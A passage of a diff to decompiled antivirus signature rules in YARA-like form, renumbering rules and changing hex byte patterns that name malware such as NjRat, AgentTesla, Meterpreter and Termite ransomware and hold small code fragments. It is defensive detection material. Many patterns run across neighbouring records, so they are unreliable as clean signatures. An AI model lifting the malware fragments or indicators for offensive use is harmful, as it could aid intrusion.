"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 4d 49 54 4d 3a 57 69 6e 64 6f 77 73 44 69 73 63 6f 75 6e 74 00 01 00 0b 01 50 72 6f 78 79 53 65 72 76 65 72 01 00 12 01 6e 65 74 77 6f 72 6b 2e 70 72 6f 78 79 2e 74 79 70 65 05 00 15 01 56 77 69 6e 5f 69 6f 63 70 } //16675 - $a_5f_1 = {65 72 76 69 63 65 40 05 00 12 01 56 63 6f 6e 6e 65 63 74 69 6f 6e 40 70 72 6f 78 79 40 00 00 78 7c 00 00 0c 00 0c 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 42 44 21 4d 54 42 00 0a 00 3c 01 0b 02 07 6f 0e 00 00 0a 6f 0f 00 00 0a 0c 08 6f 10 00 00 0a 69 8d 14 00 00 01 0a 08 06 16 06 8e 69 } //26975 - $a_0a_3 = {08 2c 06 08 6f 12 00 00 0a dc 06 28 13 00 00 0a 0d 14 09 02 00 0f 01 52 50 58 20 31 2e 33 2e 34 34 30 30 2e 36 31 00 00 78 7c 00 00 0c 00 0c 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 42 73 79 6d 65 6d 2e 47 53 47 21 4d 53 52 00 0a 00 10 01 06 91 06 61 20 aa 00 00 00 61 d2 9c 06 17 58 0a 01 00 25 00 24 36 45 44 44 36 44 37 34 2d 43 30 30 37 2d 34 45 37 35 2d 42 37 36 41 2d 45 35 37 34 30 39 39 35 45 32 34 43 01 00 08 01 61 64 64 5f 4c 6f 61 64 00 00 78 7c 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 36 38 21 4d 54 42 00 0a 00 27 02 0c 06 } //9738 + $a_5f_1 = {65 72 76 69 63 65 40 05 00 12 01 56 63 6f 6e 6e 65 63 74 69 6f 6e 40 70 72 6f 78 79 40 00 00 78 7c 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 4d 61 6e 74 6c 65 2e 41 00 05 00 20 01 5c 41 7a 75 72 65 5f 47 55 49 5c 52 65 6c 65 61 73 65 5c 41 7a 75 72 65 5f 47 } //26975 + $a_70_2 = {62 05 00 24 01 25 00 73 00 5c 00 6d 00 6f 00 64 00 5c 00 44 00 6c 00 6c 00 4c 00 6f 00 61 00 64 00 2e 00 6d 00 6f 00 64 00 00 00 78 7c 00 } //18773 condition: - ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*26975+(#a_0a_3 & 1)*9738) >=6 + ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*26975+(#a_70_2 & 1)*18773) >=6 } -rule _InfrastructureShared_7968{ +rule _InfrastructureShared_8434{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 4d 61 6e 74 6c 65 2e 41 00 05 00 20 01 5c 41 7a 75 72 65 5f 47 55 49 5c 52 65 6c 65 61 73 65 5c 41 7a 75 72 65 5f 47 55 49 2e 70 64 62 05 00 24 01 25 00 } //16675 + $a_00_1 = {6d 00 6f 00 64 00 5c 00 44 00 6c 00 6c 00 4c 00 6f 00 61 00 64 00 2e 00 6d 00 6f 00 64 00 00 00 78 7c 00 00 0c 00 0c 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 42 44 21 4d 54 42 00 0a 00 3c 01 0b 02 07 6f 0e 00 00 0a 6f 0f 00 00 0a } //115 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115) >=10 + +} +rule _InfrastructureShared_8435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -84247,7 +89246,7 @@ rule _InfrastructureShared_7968{ ((#a_46_0 & 1)*16675) >=12 } -rule _InfrastructureShared_7969{ +rule _InfrastructureShared_8436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -84259,7 +89258,7 @@ rule _InfrastructureShared_7969{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*17716+(#a_4c_2 & 1)*21325) >=12 } -rule _InfrastructureShared_7970{ +rule _InfrastructureShared_8437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -84271,7 +89270,7 @@ rule _InfrastructureShared_7970{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25972+(#a_02_2 & 1)*10) >=12 } -rule _InfrastructureShared_7971{ +rule _InfrastructureShared_8438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -84283,7 +89282,7 @@ rule _InfrastructureShared_7971{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25972+(#a_08_2 & 1)*776) >=12 } -rule _InfrastructureShared_7972{ +rule _InfrastructureShared_8439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -84294,34 +89293,46 @@ rule _InfrastructureShared_7972{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*-29177) >=20 } -rule _InfrastructureShared_7973{ +rule _InfrastructureShared_8440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 61 79 6f 72 52 6f 6f 6d 2e 42 21 64 68 61 00 0a 00 10 01 ff d5 fc 3a a8 e6 2f d5 fb e5 48 f7 54 49 7b 6d 0a 00 10 01 c3 2a 27 37 ed 3a 1e 23 cf 55 48 45 1d 98 57 11 0a 00 10 01 36 74 } //16675 $a_15_1 = {14 71 ff ec c9 47 8a be 87 0a 00 10 01 e4 78 6d 40 c8 26 7c f6 c1 b7 dc 69 3b 4b 84 22 00 00 78 7c 00 00 17 00 17 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 33 21 4d 54 42 00 0a 00 15 02 00 08 09 07 09 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 90 00 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 06 81 01 54 6f 42 79 74 65 01 00 09 81 01 47 65 } //-1508 - $a_6a_2 = {63 74 0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 7c 00 00 64 00 64 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 75 73 47 72 61 62 62 65 72 2e 41 21 64 68 61 00 32 00 22 01 5c 00 53 00 74 00 61 00 72 00 74 00 62 00 75 00 73 00 2e 00 65 00 78 00 65 00 22 00 20 00 2f 00 } //20340 - $a_00_3 = {24 01 38 30 64 62 33 38 37 61 2d 38 63 65 36 2d 34 33 33 61 2d 38 32 31 37 2d 35 61 30 63 34 37 30 33 64 65 63 39 00 00 78 7c 00 00 90 01 90 01 04 00 } //70 + $a_6a_2 = {63 74 0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 7c 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4c 4d 41 21 4d 54 42 00 0f 00 1d 01 8b c6 8a 9e 90 a0 40 00 99 f7 f9 8a 82 30 a0 40 00 32 d8 88 9e 90 a0 40 00 46 83 fe 20 0a 00 0c 01 8a 04 } //20340 + $a_88_3 = {2e 46 3b f1 72 05 00 1c 01 8b 44 24 20 8a 94 04 ac 00 00 00 80 f2 58 88 94 04 ac 00 00 00 40 3b c1 89 44 24 20 00 00 78 7c 00 00 64 00 64 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 } //13358 condition: - ((#a_46_0 & 1)*16675+(#a_15_1 & 1)*-1508+(#a_6a_2 & 1)*20340+(#a_00_3 & 1)*70) >=20 + ((#a_46_0 & 1)*16675+(#a_15_1 & 1)*-1508+(#a_6a_2 & 1)*20340+(#a_88_3 & 1)*13358) >=20 } -rule _InfrastructureShared_7974{ +rule _InfrastructureShared_8441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 33 21 4d 54 42 00 0a 00 15 02 00 08 09 07 09 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 90 00 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 06 81 01 54 6f 42 } //18467 - $a_01_1 = {00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 7c 00 00 64 00 64 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 75 73 47 72 61 62 62 65 72 2e 41 21 64 68 61 00 32 00 22 01 5c 00 53 00 74 00 61 00 72 00 74 00 62 00 75 00 73 00 2e 00 65 00 78 00 } //29817 - $a_00_2 = {20 00 2f 00 46 00 32 00 24 01 38 30 64 62 33 38 37 61 2d 38 63 65 36 2d 34 33 33 61 2d 38 32 31 37 2d } //101 /F2Ĥ〸扤㠳愷㠭散ⴶ㌴愳㠭ㄲⴷ - $a_63_3 = {37 30 33 64 65 63 39 00 00 78 7c 00 00 90 01 90 01 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 72 6f 6c 6c 43 6f 6e } //24885 - $a_6c_4 = {41 21 64 68 61 00 64 00 10 01 43 4f 4e 53 5f 50 52 4f 43 45 53 53 5f 45 4e 44 64 00 0f 01 43 4f 4e 53 5f 53 43 52 45 45 4e 5f 45 4e 44 64 00 0f 01 43 4f 4e 53 5f 50 4c 55 47 49 4e 5f 45 4e 44 64 00 0e 01 43 4f 4e 53 5f 54 52 41 4e 53 5f 45 4e 44 00 00 78 7d 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e } //29300 + $a_01_1 = {00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 7c 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4c 4d 41 21 4d 54 42 00 0f 00 1d 01 8b c6 8a 9e 90 a0 40 00 99 f7 f9 8a 82 30 a0 40 00 32 d8 88 9e 90 a0 40 00 46 83 } //29817 + $a_00_2 = {0c 01 8a 04 2e 34 45 88 04 2e } //8446 + $a_72_3 = {00 1c 01 8b 44 24 20 8a 94 04 ac 00 00 00 80 f2 58 88 94 04 ac 00 00 00 40 3b c1 89 44 24 20 00 00 78 7c 00 00 64 00 64 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 75 73 47 72 61 62 62 65 72 2e 41 21 64 68 61 00 32 00 22 01 5c 00 53 00 74 00 61 00 72 00 74 00 62 00 75 00 73 00 2e 00 65 00 78 00 65 00 22 00 20 00 2f 00 46 00 32 00 24 01 38 30 64 62 33 38 37 61 2d 38 63 65 36 2d 34 33 33 61 2d 38 32 31 37 2d 35 61 30 63 34 37 30 33 64 65 63 39 00 00 78 7c 00 00 90 01 90 01 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 72 6f 6c 6c 43 6f 6e 74 72 6f 6c 2e 41 21 64 68 61 00 64 00 10 01 43 4f 4e 53 5f 50 52 4f 43 45 53 53 5f 45 4e 44 64 00 0f 01 43 4f 4e 53 5f 53 } //15174 + $a_45_4 = {5f 45 4e 44 64 00 0f 01 43 4f 4e 53 5f 50 4c 55 47 49 4e 5f 45 4e 44 64 00 0e 01 43 4f 4e 53 5f 54 52 41 4e 53 5f 45 4e 44 00 00 78 7d 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 } //21059 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29817+(#a_00_2 & 1)*101+(#a_63_3 & 1)*24885+(#a_6c_4 & 1)*29300) >=23 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29817+(#a_00_2 & 1)*8446+(#a_72_3 & 1)*15174+(#a_45_4 & 1)*21059) >=23 } -rule _InfrastructureShared_7975{ +rule _InfrastructureShared_8442{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4c 4d 41 21 4d 54 42 00 0f 00 1d 01 8b c6 8a 9e 90 a0 40 00 99 f7 f9 8a 82 30 a0 40 00 32 d8 88 9e 90 a0 40 00 46 83 fe 20 0a 00 0c 01 8a 04 2e } //21539 + $a_04_1 = {2e 46 3b f1 72 05 00 1c 01 8b 44 24 20 8a 94 04 ac 00 00 00 80 f2 58 88 94 04 ac 00 00 00 40 3b c1 89 44 24 20 00 00 78 7c 00 00 64 00 64 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 75 73 47 72 61 62 62 65 72 2e 41 21 64 68 61 00 32 00 22 01 5c 00 53 00 74 00 61 00 72 00 74 00 62 00 75 00 73 00 2e 00 65 00 78 00 65 00 22 00 20 00 2f 00 46 00 32 00 24 01 38 30 64 62 33 38 37 } //17716 + $a_63_2 = {36 2d 34 33 33 61 2d 38 32 31 37 2d 35 61 30 63 34 37 30 33 64 65 63 39 00 00 78 7c 00 00 90 01 90 01 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //11617 + condition: + ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*17716+(#a_63_2 & 1)*11617) >=30 + +} +rule _InfrastructureShared_8443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -84332,7 +89343,7 @@ rule _InfrastructureShared_7975{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*25188) >=100 } -rule _InfrastructureShared_7976{ +rule _InfrastructureShared_8444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -84344,7 +89355,7 @@ rule _InfrastructureShared_7976{ ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*17153+(#a_65_2 & 1)*19456) >=400 } -rule _InfrastructureShared_7977{ +rule _InfrastructureShared_8445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84354,7 +89365,7 @@ rule _InfrastructureShared_7977{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7978{ +rule _InfrastructureShared_8446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84364,7 +89375,7 @@ rule _InfrastructureShared_7978{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7979{ +rule _InfrastructureShared_8447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84374,7 +89385,7 @@ rule _InfrastructureShared_7979{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7980{ +rule _InfrastructureShared_8448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84384,7 +89395,7 @@ rule _InfrastructureShared_7980{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7981{ +rule _InfrastructureShared_8449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84394,7 +89405,7 @@ rule _InfrastructureShared_7981{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7982{ +rule _InfrastructureShared_8450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84404,7 +89415,7 @@ rule _InfrastructureShared_7982{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7983{ +rule _InfrastructureShared_8451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84414,7 +89425,7 @@ rule _InfrastructureShared_7983{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7984{ +rule _InfrastructureShared_8452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84424,7 +89435,7 @@ rule _InfrastructureShared_7984{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7985{ +rule _InfrastructureShared_8453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84434,7 +89445,7 @@ rule _InfrastructureShared_7985{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7986{ +rule _InfrastructureShared_8454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84444,7 +89455,7 @@ rule _InfrastructureShared_7986{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7987{ +rule _InfrastructureShared_8455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84454,7 +89465,7 @@ rule _InfrastructureShared_7987{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7988{ +rule _InfrastructureShared_8456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -84464,7 +89475,7 @@ rule _InfrastructureShared_7988{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7989{ +rule _InfrastructureShared_8457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -84475,7 +89486,7 @@ rule _InfrastructureShared_7989{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28515) >=1 } -rule _InfrastructureShared_7990{ +rule _InfrastructureShared_8458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -84486,7 +89497,7 @@ rule _InfrastructureShared_7990{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*13616) >=1 } -rule _InfrastructureShared_7991{ +rule _InfrastructureShared_8459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -84497,7 +89508,7 @@ rule _InfrastructureShared_7991{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*-191) >=1 } -rule _InfrastructureShared_7992{ +rule _InfrastructureShared_8460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -84508,7 +89519,7 @@ rule _InfrastructureShared_7992{ ((#a_54_0 & 1)*18467+(#a_d3_1 & 1)*12544) >=1 } -rule _InfrastructureShared_7993{ +rule _InfrastructureShared_8461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -84519,7 +89530,7 @@ rule _InfrastructureShared_7993{ ((#a_77_0 & 1)*19491+(#a_7d_1 & 1)*0) >=1 } -rule _InfrastructureShared_7994{ +rule _InfrastructureShared_8462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -84531,7 +89542,7 @@ rule _InfrastructureShared_7994{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*12948+(#a_5f_2 & 1)*17739) >=1 } -rule _InfrastructureShared_7995{ +rule _InfrastructureShared_8463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -84544,7 +89555,7 @@ rule _InfrastructureShared_7995{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*31083+(#a_75_2 & 1)*25345+(#a_74_3 & 1)*400) >=1 } -rule _InfrastructureShared_7996{ +rule _InfrastructureShared_8464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -84552,40 +89563,49 @@ rule _InfrastructureShared_7996{ $a_54_0 = {3a 57 69 6e 33 32 2f 4b 65 6c 69 68 6f 73 00 01 00 14 80 01 5b 50 52 4f 58 59 5f 53 4f 43 4b 45 54 5f 57 4f 52 4b 45 52 01 00 12 80 01 5b 4e 45 54 5f 53 45 52 56 45 52 5f 57 4f 52 4b 45 52 01 00 13 80 01 63 72 75 73 68 5f 64 65 74 65 63 74 65 64 5f } //18467 $a_74_1 = {00 13 80 01 43 6f 6d 70 72 6f 6d 7a 65 64 20 52 45 47 20 6b 65 79 3a 00 00 78 7d 00 00 01 00 01 00 04 00 21 23 4c 4f 57 46 49 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 5f 55 72 61 75 73 79 5f 4c 4f 44 00 01 00 15 03 83 e3 00 8d bb 00 b1 6b 00 57 60 33 c9 81 f9 90 01 04 74 90 00 01 00 18 03 8d bb 00 b1 90 03 01 } //28520 $a_00_2 = {b9 00 90 01 01 00 00 83 f9 00 74 90 00 01 00 06 01 8d bb 00 b1 6b 00 01 00 06 01 8d bb 00 41 7a 00 00 00 78 7d 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 56 69 65 6d 6c 6f 64 2e 46 72 61 67 00 01 00 09 80 01 73 68 65 6c 6c 63 6f 64 65 01 00 07 80 01 70 61 79 6c 6f 61 64 01 00 18 80 01 50 59 49 49 49 49 49 49 49 49 49 49 } //27393 - $a_49_3 = {49 37 51 5a 6a 41 58 01 00 0b 80 01 6d 65 74 65 72 70 72 65 74 65 72 01 00 08 00 5c 52 75 6e 6e 65 72 5c 01 00 0a 00 6c 6f 61 64 65 72 2e 65 78 65 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d } //18761 + $a_49_3 = {49 37 51 5a 6a 41 58 01 00 0b 80 01 6d 65 74 65 72 70 72 65 74 65 72 01 00 08 00 5c 52 75 6e 6e 65 72 5c 01 00 0a 00 6c 6f 61 64 65 72 2e 65 78 65 00 00 78 7d 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //18761 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28520+(#a_00_2 & 1)*27393+(#a_49_3 & 1)*18761) >=1 } -rule _InfrastructureShared_7997{ +rule _InfrastructureShared_8465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_57_0 = {49 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 5f 55 72 61 75 73 79 5f 4c 4f 44 00 01 00 15 03 83 e3 00 8d bb 00 b1 6b 00 57 60 33 c9 81 f9 90 01 04 74 90 00 01 00 18 03 8d bb 00 b1 90 03 01 01 6b 6c 00 b9 } //19491 $a_01_1 = {00 } //-28672 - $a_00_2 = {74 90 00 01 00 06 01 8d bb 00 b1 6b 00 01 00 06 01 8d bb 00 41 7a 00 00 00 78 7d 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 56 69 65 6d 6c 6f 64 2e 46 72 61 67 00 01 00 09 80 01 73 68 65 6c 6c 63 6f 64 65 01 00 07 80 01 70 61 79 6c 6f 61 64 01 00 18 80 01 50 59 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 37 51 5a 6a 41 58 01 00 0b 80 01 6d 65 74 65 72 70 72 65 74 65 72 01 00 08 00 5c 52 75 6e 6e 65 72 5c 01 00 0a 00 6c 6f 61 64 65 72 2e 65 78 65 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 72 6d 69 74 65 2e 42 00 01 00 0e 01 53 75 70 70 6f 72 74 20 74 6f 6b 65 6e 3a 01 00 42 03 74 65 72 6d 69 74 65 75 73 6c 62 75 6d 64 67 65 32 7a 6d 66 6d 66 63 73 72 76 6d 76 73 66 65 34 67 76 } //-32000 - $a_63_3 = {6a 36 63 64 6e 69 73 6e 68 74 66 74 76 6f 6b 69 64 2e 6f 6e 69 90 01 01 6e 90 00 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 55 72 73 6e 69 66 3a 4c 6f 61 64 65 72 00 01 00 43 01 44 3a 28 44 3b 4f 49 43 49 3b 47 41 3b 3b 3b 42 47 29 28 44 3b 4f 49 43 49 3b 47 41 3b 3b 3b 41 4e 29 28 41 3b } //30073 + $a_00_2 = {74 90 00 01 00 06 01 8d bb 00 b1 6b 00 01 00 06 01 8d bb 00 41 7a 00 00 00 78 7d 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 56 69 65 6d 6c 6f 64 2e 46 72 61 67 00 01 00 09 80 01 73 68 65 6c 6c 63 6f 64 65 01 00 07 80 01 70 61 79 6c 6f 61 64 01 00 18 80 01 50 59 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 37 51 5a 6a 41 58 01 00 0b 80 01 6d 65 74 65 72 70 72 65 74 65 72 01 00 08 00 5c 52 75 6e 6e 65 72 5c 01 00 0a 00 6c 6f 61 64 65 72 2e 65 78 65 00 00 78 7d 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 42 41 47 21 4d 54 42 00 02 00 51 03 73 11 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 16 00 00 0a 13 05 38 00 00 00 00 00 73 08 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 90 } //-32000 condition: - ((#a_57_0 & 1)*19491+(#a_01_1 & 1)*-28672+(#a_00_2 & 1)*-32000+(#a_63_3 & 1)*30073) >=1 + ((#a_57_0 & 1)*19491+(#a_01_1 & 1)*-28672+(#a_00_2 & 1)*-32000) >=1 } -rule _InfrastructureShared_7998{ +rule _InfrastructureShared_8466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " strings : $a_54_0 = {3a 56 69 65 6d 6c 6f 64 2e 46 72 61 67 00 01 00 09 80 01 73 68 65 6c 6c 63 6f 64 65 01 00 07 80 01 70 61 79 6c 6f 61 64 01 00 18 80 01 50 59 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 37 51 5a 6a 41 58 01 00 0b 80 01 6d 65 74 65 72 70 72 65 74 } //18467 $a_00_1 = {08 } //29285 - $a_75_2 = {6e 65 72 5c 01 00 0a 00 6c 6f 61 64 65 72 2e 65 78 65 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 72 6d 69 74 65 2e 42 00 01 00 0e 01 53 75 70 70 6f 72 74 20 74 6f 6b 65 6e 3a 01 00 42 03 74 } //23552 - $a_69_3 = {65 75 73 6c 62 75 6d 64 67 65 32 7a 6d 66 6d 66 63 73 72 76 6d 76 73 66 65 34 67 76 79 75 64 63 35 6a 36 63 64 6e 69 73 6e 68 74 66 74 76 6f 6b 69 64 2e 6f 6e 69 90 01 01 6e 90 00 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 55 72 73 6e 69 66 3a 4c 6f 61 64 65 72 00 01 00 43 01 44 3a 28 44 3b 4f 49 43 49 3b 47 41 3b } //29285 - $a_47_4 = {28 44 3b 4f 49 43 49 3b 47 41 3b 3b 3b 41 4e 29 28 41 3b 4f 49 43 49 3b 47 41 3b 3b 3b 41 55 29 28 41 3b 4f 49 43 49 3b 47 41 3b 3b 3b 42 41 29 00 01 00 16 01 8b 08 69 c9 0d 66 19 00 03 ce 88 4c 3a } //15163 - $a_08_5 = {83 ff 08 72 ea 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f 6c 6f 72 65 74 74 6f 2e 41 21 64 68 61 00 01 00 2a 03 81 3c 1a 50 45 00 00 56 8d 34 1a 0f 85 90 01 02 00 00 b8 00 20 00 00 66 85 90 01 02 0f 85 90 01 02 00 00 b8 e0 00 00 00 